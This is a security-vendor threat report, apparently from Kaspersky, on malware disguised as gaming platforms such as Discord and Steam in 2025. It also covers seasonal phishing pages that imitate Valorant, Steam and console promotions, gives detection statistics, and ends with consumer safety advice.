The gaming industry faces a high concentration of scams and other cyberthreats due to its vast global audience and constant demand for digital goods, updates, and in-game advantages. Players often engage quickly with new offers, making them more susceptible to deceptive links or malicious files. At the same time, the fact that gamers often download games, mods, skins etc. from third-party marketplaces, community platforms, and unofficial sources creates additional entry points for attackers.

The number of attempted attacks on platforms beloved by gamers increased dramatically in 2025, reaching 20,188,897 cases, a sharp rise compared to previous years.

Attempts to attack users through malicious or unwanted files disguised as popular gaming platforms (download)

The nearly sevenfold increase in 2025 is most likely linked to the Discord block by some countries introduced at the end of 2024. Eventually users rely on alternative tools, proxies and modified clients. This change significantly expanded the attack surface, making users more vulnerable to fake installers, and malicious updates disguised as workarounds for the restriction.

It can also be seen in the top five most targeted gaming platforms of 2025:

Platform	The number of attempted attacks
Discord	18,556,566
Steam	1,547,110
Xbox	43,560
Uplay	28,366
Battle.net	5,538

In previous years, Steam consistently ranked as the platform with the highest number of attempted attacks. Its extensive game library, active modding ecosystem, and long-standing role in the gaming community made it a prime target for cybercriminals distributing malicious files disguised as mods, cheats, or cracked versions. In 2025, however, the landscape changed significantly. The gap between Steam and Discord expanded to an unprecedented degree as Steam-related figures remained within their typical fluctuation range of the past five years,  while the number of attempted Discord-disguised attacks surged more than 14 times compared to 2024, reshaping the hierarchy of targeted gaming platforms.

Attempts to attack users through malicious or unwanted files disguised as Steam and Discord throughout the reported period (download)

From January to October, 2025, cybercriminals used a variety of cyberthreats disguised as popular related to gamers platforms, modifications or circumvention options. RiskTool dominated the threat landscape with 17,845,099 detections, far more than any other category. Although not inherently malicious, these tools can hide files, mask processes, or disable programs, making them useful for stealthy, persistent abuse, including covert crypto-mining. Downloaders ranked second with 1,318,743 detections. These appear harmless but may fetch additional malware among other downloaded files. Downloaders are typically installed when users download unofficial patches, cracked clients, or mods. Trojans followed with 384,680 detections, often disguised as cheats or mod installers. Once executed, they can steal credentials, intercept tokens, or enable remote access, leading to account takeovers and the loss of in-game assets.

Threat	Gaming-related detections
RiskTool	17,845,099
Downloader	1,318,743
Trojan	384,680
Adware	184,257
Exploit	152,354

Phishing and scam threats targeting gamers

In addition to tracking malicious and unwanted files disguised as gamers’ platforms, Kaspersky experts also analysed phishing pages which impersonated these services. Between January and October 2025, Kaspersky products detected 2,054,336 phishing attempts targeting users through fake login pages, giveaway offers, “discounted” subscriptions and other scams which impersonated popular platforms like Steam, PlayStation, Xbox and gaming stores.

The page shown in the screenshot is a typical Black Friday-themed scam that targets gamers, designed to imitate an official Valorant promotion. The “Valorant Points up to 80% off” banner, polished layout, and fake countdown timer create urgency and make the offer appear credible at first glance. Users who proceed are redirected to a fake login form requesting Riot account credentials or bank card details. Once submitted, this information enables attackers to take over accounts, steal in-game assets, or carry out fraudulent transactions.

Another phishing page relies on a fabricated “Winter Gift Marathon” that claims to offer a free $20 Steam gift card. The seasonal framing, combined with a misleading counter (“251,110 of 300,000 cards received”), creates an artificial sense of legitimacy and urgency intended to prompt quick user interaction.

The central component of the scheme is the “Sign in” button, which redirects users to a spoofed Steam login form designed to collect their credentials. Once obtained, attackers can gain full access to the account, including payment methods, inventory items, and marketplace assets, and may be able to compromise additional services if the same password is used elsewhere.

Examples of scams on Playstation 5 Pro and Xbox series X

Scams themed around the PlayStation 5 Pro and Xbox Series X appear to be generated from a phishing kit, a reusable template that scammers adapt for different brands. Despite referencing two consoles, both pages follow the same structure which features a bold claim offering a chance to “win” a high-value device, a large product image on the left, and a minimalistic form on the right requesting the user’s email address.

A yellow banner promotes an “exclusive offer” with “limited availability,” pressuring users to respond quickly. After submitting an email, victims are typically redirected to additional personal and payment data-collection forms. They also may later be targeted with follow-up phishing emails, spam, or malicious links.

Conclusions

In 2025, the ongoing expansion of global e-commerce continued to be reflected in the cyberthreat landscape, with phishing, scam activity, and financial malware targeting online shoppers worldwide. Peak sales periods once again created favorable conditions for fraud, resulting in sustained activity involving spoofed retailer pages, fraudulent email campaigns, and seasonal spam.

Threat actors also targeted users of digital entertainment and subscription services. The gaming sector experienced a marked increase in malicious activity, driven by shifts in platform accessibility and the widespread use of third-party tools. The significant rise in malicious detections associated with Discord underscored how rapidly attackers adjust to changes in user behavior.

Overall, 2025 demonstrated that cybercriminals continue to leverage predictable user behavior patterns and major sales events to maximize the impact of their operations. Consumers should remain especially vigilant during peak shopping periods and use stronger security practices, such as two-factor authentication, secure payment methods, and cautious browsing. A comprehensive security solution that blocks malware, detects phishing pages, and protects financial data can further reduce the risk of falling victim to online threats.